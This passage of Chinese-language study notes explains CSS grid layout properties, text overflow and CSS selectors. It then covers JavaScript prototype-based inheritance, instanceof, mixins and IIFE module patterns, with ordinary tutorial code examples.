`auto` 关键字表示由浏览器自己决定长度，`grid-template-columns: 100px auto 100px;`，第二列的宽度，基本上等于该列单元格的最大宽度，除非单元格内容设置了 `min-width`，且这个值大于最大宽度。

`grid-template-columns` 属性和 `grid-template-rows` 属性里面，还可以使用方括号，**指定每一根网格线的名字**，方便以后的引用。

```css
.container {
  display: grid;
  grid-template-columns: [c1] 100px [c2] 100px [c3] auto [c4];
  grid-template-rows: [r1] 100px [r2] 100px [r3] auto [r4];
}
```

上面代码指定网格布局为 3 行 x 3 列，因此有 4 根垂直网格线和 4 根水平网格线。

方括号里面依次是这八根线的名字，网格布局允许同一根线有多个名字，比如 `[fifth-line row-5]`。

`grid-template-columns` 属性对于网页布局非常有用，两栏式布局只需要一行代码：` grid-template-columns: 70% 30%;`，表示将左边栏设为 70%，右边栏设为 30%。

传统的十二网格布局，写起来也很容易：`grid-template-columns: repeat(12, 1fr);`

#### grid-row-gap

`grid-row-gap` 属性设置行与行的间隔（行间距），`grid-column-gap` 属性设置列与列的间隔（列间距）

`grid-gap` 属性是 `grid-column-gap` 和 `grid-row-gap` 的合并简写形式：`grid-gap: <grid-row-gap> <grid-column-gap>;`

最新标准中，上面三个属性名的 `grid-` 前缀已经删除，`grid-column-gap` 和 `grid-row-gap` 写成 `column-gap` 和 `row-gap`，`grid-gap` 写成 `gap`。

#### grid-template-areas

网格布局允许指定 "区域"（area），一个区域由单个或多个单元格组成，`grid-template-areas` 属性用于定义区域。

```css

.container {
  display: grid;
  grid-template-columns: 100px 100px 100px;
  grid-template-rows: 100px 100px 100px;
  grid-template-areas: 'a b c'
                       'd e f'
                       'g h i';
}
```

上面代码先划分出 9 个单元格，然后将其定名为 `a` 到 `i` 的九个区域，分别对应这九个单元格。

多个单元格合并成一个区域的写法如下。

```css
grid-template-areas: 'a a a'
                     'b b b'
                     'c c c';
```

```css
grid-template-areas: "header header header"
                     "main main sidebar"
                     "footer footer footer";
```

上面代码中，顶部是页眉区域 `header`，底部是页脚区域 `footer`，中间部分则为 `main` 和 `sidebar`。

如果某些区域不需要利用，则使用 "点"（`.`）表示。

```css
grid-template-areas: 'a . c'
                     'd . f'
                     'g . i';
```

上面代码中，中间一列为点，表示没有用到该单元格，或者该单元格不属于任何区域。

**注意**，区域的命名会影响到网格线。每个区域的起始网格线，会自动命名为 `区域名-start`，终止网格线自动命名为 `区域名-end`。

比如，区域名为 `header`，则起始位置的水平网格线和垂直网格线叫做 `header-start`，终止位置的水平网格线和垂直网格线叫做 `header-end`。

#### grid-auto-flow

划分网格以后，容器的子元素会按照顺序，自动放置在每一个网格。默认的放置顺序是 "先行后列"，即先填满第一行，再开始放入第二行，即下图数字的顺序。

这个顺序由 `grid-auto-flow` 属性决定，默认值是 `row`，即 "先行后列"。也可以将它设成 `column`，变成 "先列后行"：`grid-auto-flow: column;`

`grid-auto-flow` 属性除了设置成 `row` 和 `column`，还可以设成 `row dense` 和 `column dense`，这两个值主要用于，某些项目指定位置以后，剩下的项目怎么自动放置，主要用于 **尽可能紧密填满，尽量不出现空格。**

**`dense` 的核心目的**： **尽量把后面出现的“更小的 item”塞进前面留下的空洞，减少空格。**

#### justify/align-items

`justify-items` 属性设置单元格的水平位置（左中右），`align-items` 属性设置单元格的垂直位置（上中下）。

也就是说：**`justify-items` / `align-items` 对齐的是 grid item 在它自己的 grid cell 里 的位置**，而 grid item 里“内容怎么对齐”，那是 item 自己内部的事（比如 `text-align`、或者 item 里面再用 flex/grid）。

```css
.container {
  justify-items: start | end | center | stretch;
  align-items: start | end | center | stretch;
}
```

这两个属性的写法完全相同，都可以取下面这些值。

* start：对齐单元格的起始边缘。
* end：对齐单元格的结束边缘。
* center：单元格内部居中。
* stretch：拉伸，占满单元格的整个宽度（默认值）。

`place-items` 属性是 `align-items` 属性和 `justify-items` 属性的合并简写形式：`place-items: <align-items> <justify-items>;`，如果省略第二个值，则浏览器认为与第一个值相等。

#### justify/align-content

`justify-content` 属性是 **整个内容区域** 在容器里面的水平位置（左中右），`align-content` 属性是整个内容区域的垂直位置（上中下）。

**`justify-content`**：**整个 grid 内容区域** 在 **容器里** 怎么摆

**`justify-items`**：**每一个 grid item** 在 **自己的格子里** 怎么摆

```css
.container {
  justify-content: start | end | center | stretch | space-around | space-between | space-evenly;
  align-content: start | end | center | stretch | space-around | space-between | space-evenly;  
}
```

* start - 对齐容器的起始边框。

* end - 对齐容器的结束边框。

* center - 容器内部居中。

* stretch - 项目大小没有指定时，拉伸占据整个网格容器。

* space-around - 每个项目两侧的间隔相等。所以，项目之间的间隔比项目与容器边框的间隔大一倍。

* space-between - 项目与项目的间隔相等，项目与容器边框之间没有间隔。

* space-evenly - 项目与项目的间隔相等，项目与容器边框之间也是同样长度的间隔。

`place-content` 属性是 `align-content` 属性和 `justify-content` 属性的合并简写形式：`place-content: <align-content> <justify-content>`，如果省略第二个值，浏览器就会认为第二个值等于第一个值。

#### grid-auto-rows/columns

**隐式网格**：

只声明了部分行/列（显式网格），但某个 item 被你放到了“网格外面”，浏览器就得 **临时补行/补列** 把它放进去；而 `grid-auto-rows/columns` 就是用来规定这些“临时补出来的行/列”尺寸的。

```css
grid-template-columns: repeat(3, 100px);
```

这表示：**明确声明了 3 列**，但没有声明 `grid-template-rows`，所以行数并没写死（行可能会根据需要自动长出来）。

隐式网格（浏览器补出来的），如果某个 item 你指定它去 “第 5 行” 或 “第 5 列”，那就超出你声明的范围了，浏览器就会自动补齐缺的行/列，让它有地方站。

```css
.container{
  display: grid;
  grid-template-columns: repeat(3, 100px); /* 只声明了列 */
}
.item{
  grid-row: 5; /* 强行放第5行 */
}
```

没声明行，但 item 要去第 5 行，那浏览器只能补出第 1~5 行（至少补到 5 行），否则 item 没地方放，这些补出来的行就是 **隐式行**。

默认情况（不写 grid-auto-rows），隐式行的高度默认是 `auto`：**由这一行里内容撑开**，所以看到的现象可能是：有的隐式行很高，有的很矮，不一致。

`grid-auto-rows: 80px;` 意思是：以后浏览器 **自动补出来的每一行** 都固定 80px 高，`grid-auto-columns: 120px;` 同理，它们的“写法和 template 完全相同，可以写 `repeat()`、`minmax()`、`fr` 等。

**写 `repeat()` 就是让“自动补出来的隐式行/列”按一个循环模式来取尺寸**。

`grid-auto-rows: 80px 120px;`：隐式行会按 80、120、80、120… 循环。

用 `repeat()` 写就是：

```css
grid-auto-rows: repeat(999, 80px 120px); /* 实际不用写999，只是表达循环模式 */
```

`grid-auto-rows: minmax(100px, auto);` 至少 100px，高度不够就让内容撑大。

`grid-template` 属性是 `grid-template-columns`、`grid-template-rows` 和 `grid-template-areas` 这三个属性的合并简写形式。

`grid` 属性是 `grid-template-rows`、`grid-template-columns`、`grid-template-areas`、 `grid-auto-rows`、`grid-auto-columns`、`grid-auto-flow` 这六个属性的合并简写形式。

从易读易写的角度考虑，还是建议不要合并属性。

### 项目属性

#### grid-column/row-start/end

项目的位置是可以指定的，具体方法就是指定项目的四个边框，分别定位在哪根网格线。

* `grid-column-start` 属性：左边框所在的垂直网格线
* `grid-column-end` 属性：右边框所在的垂直网格线
* `grid-row-start` 属性：上边框所在的水平网格线
* `grid-row-end` 属性：下边框所在的水平网格线

```css
.item-1 {
  grid-column-start: 2;
  grid-column-end: 4;
}
```

表示 1 号项目的左边框是第二根垂直网格线，右边框是第四根垂直网格线，没有指定上下边框，所以会采用默认位置

其他项目都没有指定位置，由浏览器自动布局，这时它们的位置由容器的 `grid-auto-flow` 属性决定，这个属性的默认值是 `row`，因此会 "先行后列" 进行排列。

指定四个边框位置的效果：

```css
.item-1 {
  grid-column-start: 1;
  grid-column-end: 3;
  grid-row-start: 2;
  grid-row-end: 4;
}
```

这四个属性的值，除了指定为第几个网格线，还可以指定为网格线的名字。

```css
.item-1 {
  grid-column-start: header-start;
  grid-column-end: header-end;
}
```

这四个属性的值还可以使用 `span` 关键字，表示 "跨越"，即左右边框（上下边框）之间跨越多少个网格。

```css
.item-1 {
  grid-column-start: span 2;
}
/* 等于 */
.item-1 {
  grid-column-end: span 2;
}
```

表示 1 号项目的左边框距离右边框跨越 2 个网格。

使用这四个属性，如果产生了项目的重叠，则使用 `z-index` 属性指定项目的重叠顺序。

`grid-column` 属性是 `grid-column-start` 和 `grid-column-end` 的合并简写形式，`grid-row` 属性是 `grid-row-start` 属性和 `grid-row-end` 的合并简写形式。

```css
.item {
  grid-column: <start-line> / <end-line>;
  grid-row: <start-line> / <end-line>;
}
```

```css
.item-1 {
  grid-column: 1 / 3;
  grid-row: 1 / 2;
}
/* 等同于 */
.item-1 {
  grid-column-start: 1;
  grid-column-end: 3;
  grid-row-start: 1;
  grid-row-end: 2;
}
```

这两个属性之中，也可以使用 `span` 关键字，表示跨越多少个网格。

```css

.item-1 {
  background: #b03532;
  grid-column: 1 / 3;
  grid-row: 1 / 3;
}
/* 等同于 */
.item-1 {
  background: #b03532;
  grid-column: 1 / span 2;
  grid-row: 1 / span 2;
}
```

斜杠以及后面的部分可以省略，默认跨越一个网格。

```css
.item-1 {
  grid-column: 1;
  grid-row: 1;
}
```

#### grid-area

`grid-area` 属性指定项目放在哪一个区域。

```css
.item-1 {
  grid-area: e;
}
```

`grid-area` 属性还可用作 `grid-row-start`、`grid-column-start`、`grid-row-end`、`grid-column-end` 的合并简写形式，直接指定项目的位置。

```css
.item {
  grid-area: <row-start> / <column-start> / <row-end> / <column-end>;
}
```

```css
.item-1 {
  grid-area: 1 / 1 / 3 / 3;
}
```

#### justify/align-self

`justify-self` 属性设置单元格内容的水平位置（左中右），跟 `justify-items` 属性的用法完全一致，但只作用于单个项目。

`align-self` 属性设置单元格内容的垂直位置（上中下），跟 `align-items` 属性的用法完全一致，也是只作用于单个项目。

```css
.item {
  justify-self: start | end | center | stretch;
  align-self: start | end | center | stretch;
}
```

* start：对齐单元格的起始边缘。
* end：对齐单元格的结束边缘。
* center：单元格内部居中。
* stretch：拉伸，占满单元格的整个宽度（默认值）。

`place-self` 属性是 `align-self` 属性和 `justify-self` 属性的合并简写形式：`place-self: <align-self> <justify-self>;`，如果省略第二个值，`place-self` 属性会认为这两个值相等。

**补充**

* **`justify-items`**：写在 **grid container** 上，控制**所有 grid item**在各自 cell 里的水平对齐方式（默认值）。
* **`justify-self`**：写在 **某个 grid item** 上，只控制**这个 item 自己**在 cell 里的水平对齐（覆盖默认值）。

`align-items / align-self` 同理，只是方向变成垂直。

#### 拓展

```css
grid-template-columns: repeat(3, max-content);
```

意思就是：**固定 3 列**，每一列的宽度都取“这一列里内容最宽的那个元素所需要的宽度”。

`max-content`：内容“不换行、完整显示”时需要的宽度（最大理想宽度）

`min-content`：内容能压到多窄就多窄（会尽可能换行/断行）

`auto`：更像“由布局算法决定”，常见情况下会拉伸或结合剩余空间

`1fr`：按剩余空间均分（最常用的等分列）

## 文字不换行

```css
white-space: nowrap;
```

**作用：**

* 禁止文本自动换行
* 不管多长，都会在一行里撑开

**不换行 + 超出省略号**

```css
.text {
  white-space: nowrap;      /* 不换行 */
  overflow: hidden;         /* 超出隐藏 */
  text-overflow: ellipsis;  /* ... */
}
```

**注意：必须有宽度！**，不然省略号不会生效。

```css
.text {
  width: 200px;
}
```

## 选择器

紧贴（没有空格）= 同一个元素叠条件

**含义：选中“同一个元素”同时满足多个条件。**

* `li.active` 选中：标签是 `li`，并且 class 包含 `active` 的 **同一个元素**
* `.options.expand` 选中：class 同时有 `options` 和 `expand` 的 **同一个元素**

**典型用途**：精准选中某个状态类（active / disabled / open）

***

空格 = 后代选择器（descendant）

**含义：在 A 里面找 B（B 是 A 的后代，儿子/孙子都算）。**

* `.options li .active` 读法：在 `.options` 里面找 `li`，再在这个 `li` 里面找一个后代元素 `.active`

**注意**：这里 `.active` 必须是 `li` 里面的某个子元素，而不是 `li` 自己。

***

子代选择器 `>` = 只找“亲儿子”

**含义：B 必须是 A 的直接子元素，不能隔层。**

* `.options > li` 选中：`.options` 的直接子元素 `li`

**用途**：结构稳定时更精准，避免“隔层误伤”。

***

兄弟选择器（同级之间）

**相邻兄弟 `+`**

**含义：选中紧挨着的下一个兄弟。**

`.title + .options` 选中：紧跟在 `.title` 后面的那个 `.options`

**用途**：常用于“标题 + 下拉面板”这种结构。

**通用兄弟 `~`**

**含义：选中后面所有同级兄弟（不要求紧挨）。**

`.title ~ .options` 选中：`.title` 后面所有同级的 `.options`

---

---
url: /skill/3haakhib/index.md
---
# JS 回顾 4
## 对象的继承

面向对象编程很重要的一个方面，就是对象的继承，A 对象通过继承 B 对象，就能直接拥有 B 对象的所有属性和方法，这对于代码的复用是非常有用的。

大部分面向对象的编程语言，都是通过“类”（class）实现对象的继承，传统上，JavaScript 语言的继承不通过 class，而是通过“原型对象”（prototype）实现。

## 原型对象

### 构造函数的缺点

JavaScript 通过构造函数生成新对象，因此构造函数可以视为对象的模板，实例对象的属性和方法，可以定义在构造函数内部。

```js
function Cat (name, color) {
  this.name = name;
  this.color = color;
}

var cat1 = new Cat('大毛', '白色');

cat1.name // '大毛'
cat1.color // '白色'
```

`Cat` 函数是一个构造函数，函数内部定义了 `name` 属性和 `color` 属性，所有实例对象（上例是 `cat1`）都会生成这两个属性，即这两个属性会定义在实例对象上面。

通过构造函数为实例对象定义属性，虽然很方便，但是有一个缺点，同一个构造函数的多个实例之间，无法共享属性，从而造成对系统资源的浪费。

```js
function Cat(name, color) {
  this.name = name;
  this.color = color;
  this.meow = function () {
    console.log('喵喵');
  };
}

var cat1 = new Cat('大毛', '白色');
var cat2 = new Cat('二毛', '黑色');

cat1.meow === cat2.meow
// false
```

`cat1` 和 `cat2` 是同一个构造函数的两个实例，它们都具有 `meow` 方法。

由于 `meow` 方法是生成在每个实例对象上面，所以两个实例就生成了两次，也就是说，每新建一个实例，就会新建一个 `meow` 方法，这既没有必要，又浪费系统资源，因为所有 `meow` 方法都是同样的行为，完全应该共享。

这个问题的解决方法，就是 JavaScript 的原型对象（prototype）。

### prototype 属性

JavaScript 继承机制的设计思想就是，原型对象的所有属性和方法，都能被实例对象共享。也就是说，如果属性和方法定义在原型上，那么所有实例对象就能共享，不仅节省了内存，还体现了实例对象之间的联系。

JavaScript 规定，每个函数都有一个 `prototype` 属性，指向一个对象。

```js
function f() {}
typeof f.prototype // "object"
```

对于普通函数来说，该属性基本无用，但是，**对于构造函数来说，生成实例的时候，该属性会自动成为实例对象的原型**。

```js
function Animal(name) {
  this.name = name;
}
Animal.prototype.color = 'white';

var cat1 = new Animal('大毛');
var cat2 = new Animal('二毛');

cat1.color // 'white'
cat2.color // 'white'
```

构造函数 `Animal` 的 `prototype` 属性，就是实例对象 `cat1` 和 `cat2` 的原型对象，原型对象上添加一个 `color` 属性，结果，实例对象都共享了该属性。

原型对象的属性不是实例对象自身的属性，只要修改原型对象，变动就立刻会体现在 **所有** 实例对象上。

```js
Animal.prototype.color = 'yellow';

cat1.color // "yellow"
cat2.color // "yellow"
```

原型对象的 `color` 属性的值变为 `yellow`，两个实例对象的 `color` 属性立刻跟着变了。

这是因为实例对象其实没有 `color` 属性，都是读取原型对象的 `color` 属性，也就是说，**当实例对象本身没有某个属性或方法的时候，它会到原型对象去寻找该属性或方法**，这就是原型对象的特殊之处。

**如果实例对象自身就有某个属性或方法，它就不会再去原型对象寻找这个属性或方法**。

```js
cat1.color = 'black';

cat1.color // 'black'
cat2.color // 'yellow'
Animal.prototype.color // 'yellow';
```

实例对象 `cat1` 的 `color` 属性改为 `black`，就使得它不再去原型对象读取 `color` 属性，后者的值依然为 `yellow`。

总结一下，**原型对象的作用，就是定义所有实例对象共享的属性和方法，这也是它被称为原型对象的原因，而实例对象可以视作从原型对象衍生出来的子对象**。

```js
Animal.prototype.walk = function () {
  console.log(this.name + ' is walking');
};
```

`Animal.prototype` 对象上面定义了一个 `walk` 方法，这个方法将可以在所有 `Animal` 实例对象上面调用。

### 原型链

JavaScript 规定，所有对象都有自己的原型对象（prototype）。

一方面，任何一个对象，都可以充当其他对象的原型；另一方面，由于原型对象也是对象，所以它也有自己的原型。

因此，就会形成一个“原型链”（prototype chain）：对象到原型，再到原型的原型……

如果一层层地上溯，所有对象的原型最终都可以上溯到 `Object.prototype`，即 `Object` 构造函数的 `prototype` 属性。

也就是说，所有对象都继承了 `Object.prototype` 的属性。这就是所有对象都有 `valueOf` 和 `toString` 方法的原因，因为这是从 `Object.prototype` 继承的。

而 `Object.prototype` 的原型是 `null`，`null` 没有任何属性和方法，也没有自己的原型，因此，原型链的尽头就是 `null`。

```js
Object.getPrototypeOf(Object.prototype)
// null
```

`Object.prototype` 对象的原型是 `null`，由于 `null` 没有任何属性，所以原型链到此为止。

**读取对象的某个属性时，JavaScript 引擎先寻找对象本身的属性，如果找不到，就到它的原型去找，如果还是找不到，就到原型的原型去找**。如果直到最顶层的 `Object.prototype` 还是找不到，则返回 `undefined`。如果对象自身和它的原型，都定义了一个同名属性，那么优先读取对象自身的属性，这叫做“覆盖”（overriding）。

**注意**：一级级向上，在整个原型链上寻找某个属性，对性能是有影响的，所寻找的属性在越上层的原型对象，对性能的影响越大，如果寻找某个不存在的属性，将会遍历整个原型链。

举例来说，如果让构造函数的 `prototype` 属性指向一个数组，就意味着实例对象可以调用数组方法。

```js
var MyArray = function () {};

MyArray.prototype = new Array();
MyArray.prototype.constructor = MyArray;

var mine = new MyArray();
mine.push(1, 2, 3);
mine.length // 3
mine instanceof Array // true
```

`mine` 是构造函数 `MyArray` 的实例对象，由于 `MyArray.prototype` 指向一个数组实例，使得 `mine` 可以调用数组方法（这些方法定义在数组实例的 `prototype` 对象上面）。

`instanceof` 表达式，用来比较一个对象是否为某个构造函数的实例，结果就是证明 `mine` 为 `Array` 的实例。

### constructor 属性

`prototype` 对象有一个 `constructor` 属性，默认指向 `prototype` 对象所在的构造函数。

```js
function P() {}
P.prototype.constructor === P // true
```

由于 `constructor` 属性定义在 `prototype` 对象上面，意味着可以被所有实例对象继承。

```js
function P() {}
var p = new P();

p.constructor === P // true
p.constructor === P.prototype.constructor // true
p.hasOwnProperty('constructor') // false
```

`p` 是构造函数 `P` 的实例对象，但是 `p` 自身没有 `constructor` 属性，该属性其实是读取原型链上面的 `P.prototype.constructor` 属性。

`constructor` 属性的作用是，可以得知某个实例对象，到底是哪一个构造函数产生的。

```js
function F() {};
var f = new F();

f.constructor === F // true
f.constructor === RegExp // false
```

`constructor` 属性确定了实例对象 `f` 的构造函数是 `F`，而不是 `RegExp`。

另一方面，有了 `constructor` 属性，就可以从一个实例对象新建另一个实例。

```js
function Constr() {}
var x = new Constr();

var y = new x.constructor();
y instanceof Constr // true
```

`x` 是构造函数 `Constr` 的实例，可以从 `x.constructor` 间接调用构造函数，这使得在实例方法中，调用自身的构造函数成为可能。

```js
Constr.prototype.createCopy = function () {
  return new this.constructor();
};
```

`createCopy` 方法调用构造函数，新建另一个实例。

`constructor` 属性表示原型对象与构造函数之间的关联关系，如果修改了原型对象，一般会同时修改 `constructor` 属性，防止引用的时候出错。

```js
function Person(name) {
  this.name = name;
}

Person.prototype.constructor === Person // true

Person.prototype = {
  method: function () {}
};

Person.prototype.constructor === Person // false
Person.prototype.constructor === Object // true
```

构造函数 `Person` 的原型对象改掉了，但是没有修改 `constructor` 属性，导致这个属性不再指向 `Person`。

由于 `Person` 的新原型是一个普通对象，而普通对象的 `constructor` 属性指向 `Object` 构造函数，导致 `Person.prototype.constructor` 变成了 `Object`。

所以，修改原型对象时，一般要同时修改 `constructor` 属性的指向。

```js
// 坏的写法
C.prototype = {
  method1: function (...) { ... },
  // ...
};

// 好的写法
C.prototype = {
  constructor: C,
  method1: function (...) { ... },
  // ...
};

// 更好的写法
C.prototype.method1 = function (...) { ... };
```

要么将 `constructor` 属性重新指向原来的构造函数，要么只在原型对象上添加方法，这样可以保证 `instanceof` 运算符不会失真。

通过 `name` 属性，从实例得到构造函数的名称。

```js
function Foo() {}
var f = new Foo();
f.constructor.name // "Foo"
```

## instanceof 运算符

`instanceof` 运算符返回一个布尔值，表示对象是否为某个构造函数的实例。

```js
var v = new Vehicle();
v instanceof Vehicle // true
```

对象 `v` 是构造函数 `Vehicle` 的实例，所以返回 `true`。

`instanceof` 运算符的左边是实例对象，右边是构造函数，**它会检查右边构造函数的原型对象（prototype），是否在左边对象的原型链上**。因此，下面两种写法是等价的。

```js
v instanceof Vehicle
// 等同于
Vehicle.prototype.isPrototypeOf(v)
```

`Vehicle` 是对象 `v` 的构造函数，它的原型对象是 `Vehicle.prototype`，`isPrototypeOf()` 方法是 JavaScript 提供的原生方法，用于检查某个对象是否为另一个对象的原型。

由于 `instanceof` 检查整个原型链，因此同一个实例对象，可能会对多个构造函数都返回 `true`。

```js
var d = new Date();
d instanceof Date // true
d instanceof Object // true
```

`d` 同时是 `Date` 和 `Object` 的实例，因此对这两个构造函数都返回 `true`。

由于任意对象（除了 `null`）都是 `Object` 的实例，所以 `instanceof` 运算符可以判断一个值是否为非 `null` 的对象。

```js
var obj = { foo: 123 };
obj instanceof Object // true

null instanceof Object // false
```

除了 `null`，其他对象的 `instanceOf Object` 的运算结果都是 `true`。

`instanceof` 的原理是检查右边构造函数的 `prototype` 属性，是否在左边对象的原型链上，**有一种特殊情况，就是左边对象的原型链上，只有 `null` 对象。这时，`instanceof` 判断会失真**。

```js
var obj = Object.create(null);
typeof obj // "object"
obj instanceof Object // false
```

`Object.create(null)` 返回一个新对象 `obj`，它的原型是 `null`，右边的构造函数 `Object` 的 `prototype` 属性，不在左边的原型链上，因此 `instanceof` 就认为 `obj` 不是 `Object` 的实例，这是唯一的 `instanceof` 运算符判断会失真的情况（一个对象的原型是 `null`）。

`instanceof` 运算符的一个用处，是判断值的类型。

```js
var x = [1, 2, 3];
var y = {};
x instanceof Array // true
y instanceof Object // true
```

**注意**：`instanceof` 运算符只能用于对象，不适用原始类型的值。

对于 `undefined` 和 `null`，`instanceof` 运算符总是返回 `false`。

利用 `instanceof` 运算符，还可以巧妙地解决，调用构造函数时，忘了加 `new` 命令的问题。

```js
function Fubar (foo, bar) {
    if (this instanceof Fubar) {
        this._foo = foo;
        this._bar = bar;
    } else {
        return new Fubar(foo, bar);
    }
}
```

## 构造函数的继承

让一个构造函数继承另一个构造函数，是非常常见的需求，这可以分成两步实现。

第一步是在子类的构造函数中，调用父类的构造函数。

```js
function Sub(value) {
  Super.call(this);
  this.prop = value;
}
```

`Sub` 是子类的构造函数，`this` 是子类的实例，在实例上调用父类的构造函数 `Super`，就会让子类实例具有父类实例的属性。

第二步，是让子类的原型指向父类的原型，这样子类就可以继承父类原型。

```js
Sub.prototype = Object.create(Super.prototype);
Sub.prototype.constructor = Sub;
Sub.prototype.method = '...';
```

`Sub.prototype` 是子类的原型，要将它赋值为 `Object.create(Super.prototype)`，而不是直接等于 `Super.prototype`，否则后面两行对 `Sub.prototype` 的操作，会连父类的原型 `Super.prototype` 一起修改掉。

另外一种写法是 `Sub.prototype` 等于一个父类实例。

```js
Sub.prototype = new Super();
```

上面这种写法也有继承的效果，但是子类会具有父类实例的方法，有时，这可能不是我们需要的，所以不推荐使用这种写法。

举例来说，下面是一个 `Shape` 构造函数。

```js
function Shape() {
  this.x = 0;
  this.y = 0;
}

Shape.prototype.move = function (x, y) {
  this.x += x;
  this.y += y;
  console.info('Shape moved.');
};
```

现在让 `Rectangle` 构造函数继承 `Shape`。

```js
// 第一步，子类继承父类的实例
function Rectangle() {
  Shape.call(this); // 调用父类构造函数
}
// 另一种写法
function Rectangle() {
  this.base = Shape;
  this.base();
}

// 第二步，子类继承父类的原型
Rectangle.prototype = Object.create(Shape.prototype);
Rectangle.prototype.constructor = Rectangle;
```

采用这样的写法以后，`instanceof` 运算符会对子类和父类的构造函数，都返回 `true`。

```js
var rect = new Rectangle();

rect instanceof Rectangle  // true
rect instanceof Shape  // true
```

子类是整体继承父类，有时只需要单个方法的继承，这时可以采用下面的写法。

```js
ClassB.prototype.print = function() {
  ClassA.prototype.print.call(this);
  // some code
}
```

子类 `B` 的 `print` 方法先调用父类 `A` 的 `print` 方法，再部署自己的代码，这就等于继承了父类 `A` 的 `print` 方法。

## 多重继承

JavaScript 不提供多重继承功能，即不允许一个对象同时继承多个对象，但是，可以通过变通方法，实现这个功能。

```js
function M1() {
  this.hello = 'hello';
}

function M2() {
  this.world = 'world';
}

function S() {
  M1.call(this);
  M2.call(this);
}

// 继承 M1
S.prototype = Object.create(M1.prototype);
// 继承链上加入 M2
Object.assign(S.prototype, M2.prototype);

// 指定构造函数
S.prototype.constructor = S;

var s = new S();
s.hello // 'hello'
s.world // 'world'
```

子类 `S` 同时继承了父类 `M1` 和 `M2`。这种模式又称为 Mixin（混入）。

## 模块

随着网站逐渐变成“互联网应用程序”，嵌入网页的 JavaScript 代码越来越庞大，越来越复杂。

网页越来越像桌面程序，需要一个团队分工协作、进度管理、单元测试等等……开发者必须使用软件工程的方法，管理网页的业务逻辑。

JavaScript 模块化编程，已经成为一个迫切的需求。理想情况下，开发者只需要实现核心的业务逻辑，其他都可以加载别人已经写好的模块。

但是，JavaScript 不是一种模块化编程语言，ES6 才开始支持“类”和“模块”。但是有传统的做法，如何利用对象实现模块的效果。

### 基本的实现方法

模块是实现特定功能的一组属性和方法的封装。

简单的做法是把模块写成一个对象，所有的模块成员都放到这个对象里面。

```js
var module1 = new Object({
　_count : 0,
　m1 : function (){
　　//...
　},
　m2 : function (){
  　//...
　}
});
```

函数 `m1` 和 `m2`，都封装在 `module1` 对象里，使用的时候，就是调用这个对象的属性。

```js
module1.m1();
```

但是，这样的写法会暴露所有模块成员，内部状态可以被外部改写，比如，外部代码可以直接改变内部计数器的值。

```js
module1._count = 5;
```

### 封装私有变量：构造函数的写法

可以利用构造函数，封装私有变量。

```js
function StringBuilder() {
    var buffer = [];

    this.add = function (str) {
        buffer.push(str);
    };

    this.toString = function () {
        return buffer.join('');
    };

}
```

`buffer` 是模块的私有变量，一旦生成实例对象，外部是无法直接访问 `buffer` 的。

但是，这种方法将私有变量封装在构造函数中，导致构造函数与实例对象是一体的，总是存在于内存之中，无法在使用完成后清除。

这意味着，构造函数有双重作用，既用来塑造实例对象，又用来保存实例对象的数据，违背了构造函数与实例对象在数据上相分离的原则（即实例对象的数据，不应该保存在实例对象以外），同时，非常耗费内存。

```js
function StringBuilder() {
  this._buffer = [];
}

StringBuilder.prototype = {
  constructor: StringBuilder,
  add: function (str) {
    this._buffer.push(str);
  },
  toString: function () {
    return this._buffer.join('');
  }
};
```

将私有变量放入实例对象中，好处是看上去更自然，但是它的私有变量可以从外部读写，不是很安全。

### 封装私有变量：立即执行函数的写法

另一种做法是使用“立即执行函数”（Immediately-Invoked Function Expression，IIFE），将相关的属性和方法封装在一个函数作用域里面，可以达到不暴露私有成员的目的。

```js
var module1 = (function () {
　var _count = 0;
　var m1 = function () {
　  //...
　};
　var m2 = function () {
　　//...
　};
　return {
　　m1 : m1,
　　m2 : m2
　};
})();
```

使用上面的写法，外部代码无法读取内部的 `_count` 变量。

```js
console.info(module1._count); //undefined
```

上面的 `module1` 就是 JavaScript 模块的基本写法。

### 模块的放大模式

如果一个模块很大，必须分成几个部分，或者一个模块需要继承另一个模块，这时就有必要采用“放大模式”（augmentation）。

```js
var module1 = (function (mod){
　mod.m3 = function () {
　　//...
　};
　return mod;
})(module1);
```

`module1` 模块添加了一个新方法 `m3()`，然后返回新的 `module1` 模块。

在浏览器环境中，模块的各个部分通常都是从网上获取的，有时无法知道哪个部分会先加载，如果采用上面的写法，第一个执行的部分有可能加载一个不存在空对象，这时就要采用 "宽放大模式"（Loose augmentation）。

```js
var module1 = (function (mod) {
　//...
　return mod;
})(window.module1 || {});
```

与 "放大模式" 相比，“宽放大模式”就是“立即执行函数”的参数可以是空对象。

### 输入全局变量

独立性是模块的重要特点，模块内部最好不与程序的其他部分直接交互。

为了在模块内部调用全局变量，必须显式地将其他变量输入模块。

```js
var module1 = (function ($, YAHOO) {
　//...
})(jQuery, YAHOO);
```

上面的 `module1` 模块需要使用 jQuery 库和 YUI 库，就把这两个库（其实是两个模块）当作参数输入 `module1`。这样做除了保证模块的独立性，还使得模块之间的依赖关系变得明显。

立即执行函数还可以起到命名空间的作用。

```js
(function($, window, document) {

  function go(num) {
  }

  function handleEvents() {
  }

  function initialize() {
  }

  function dieCarouselDie() {
  }

  // 附加到全局范围
  window.finalCarousel = {
    init : initialize,
    destroy : dieCarouselDie
  }

})( jQuery, window, document );
```

`finalCarousel` 对象输出到全局，对外暴露 `init` 和 `destroy` 接口，内部方法 `go`、`handleEvents`、`initialize`、`dieCarouselDie` 都是外部无法调用的。

## Object 对象的相关方法

### 静态方法

#### `Object.getPrototypeOf()`

`Object.getPrototypeOf` 方法返回参数对象的原型，这是获取原型对象的标准方法。

```js
var F = function () {};
var f = new F();
Object.getPrototypeOf(f) === F.prototype // true
```

```js
// 空对象的原型是 Object.prototype
Object.getPrototypeOf({}) === Object.prototype // true

// Object.prototype 的原型是 null
Object.getPrototypeOf(Object.prototype) === null // true

// 函数的原型是 Function.prototype
function f() {}
Object.getPrototypeOf(f) === Function.prototype // true
```

#### `Object.setPrototypeOf()`

`Object.setPrototypeOf` 方法为参数对象设置原型，返回该参数对象，它接受两个参数，第一个是现有对象，第二个是原型对象。

```js
var a = {};
var b = {x: 1};
Object.setPrototypeOf(a, b);

Object.getPrototypeOf(a) === b // true
a.x // 1
```

`Object.setPrototypeOf` 方法将对象 `a` 的原型，设置为对象 `b`，因此 `a` 可以共享 `b` 的属性。

`new` 命令可以使用 `Object.setPrototypeOf` 方法模拟。

```js
var F = function () {
  this.foo = 'bar';
};

var f = new F();
// 等同于
var f = Object.setPrototypeOf({}, F.prototype);
F.call(f);
```

`new` 命令新建实例对象，其实可以分成两步

第一步，将一个空对象的原型设为构造函数的 `prototype` 属性（上例是 `F.prototype`）；

